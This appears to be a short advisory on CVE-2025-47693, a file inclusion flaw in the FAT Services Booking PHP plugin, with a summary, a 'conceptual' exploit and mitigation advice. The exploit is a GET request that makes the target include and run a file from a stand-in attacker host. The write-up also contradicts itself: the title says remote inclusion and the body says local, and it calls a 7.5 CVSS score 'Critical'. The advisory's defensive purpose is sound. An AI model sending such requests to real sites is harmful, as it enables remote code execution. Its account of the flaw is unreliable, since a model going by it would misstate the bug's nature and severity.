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CVE-2025-47693: Critical PHP Remote File Inclusion Vulnerability in FAT Services Booking

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Overview

This review discusses the critical vulnerability CVE-2025-47693, which affects the FAT Services Booking system. The issue arises due to the improper control of filename for Include/Require Statement in the PHP program, allowing PHP Local File Inclusion. This vulnerability is a potential threat to all systems running FAT Services Booking versions through 5.5, leading to possible system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47693
Severity: Critical, CVSS score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

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Product | Affected Versions

FAT Services Booking | Up to and including 5.5

How the Exploit Works

This vulnerability is due to the PHP program’s improper control of filename for Include/Require Statement. This lack of proper control allows an attacker to manipulate the PHP file include process, leading to the inclusion of local files. An attacker could exploit this vulnerability by sending a crafted request to the affected application. Successful exploitation could lead to unauthorized read access to potentially sensitive data, which could be used to conduct further attacks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker tries to include ‘malicious_file.txt’ hosted on their server. If successful, the server will execute the malicious code contained in ‘malicious_file.txt’.

Mitigation Guidance

Affected systems should apply the vendor-provided patches at their earliest convenience. If unable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are not a complete solution and only serve to reduce the risk of potential attacks. The definitive solution is to apply the patch as soon as it becomes available.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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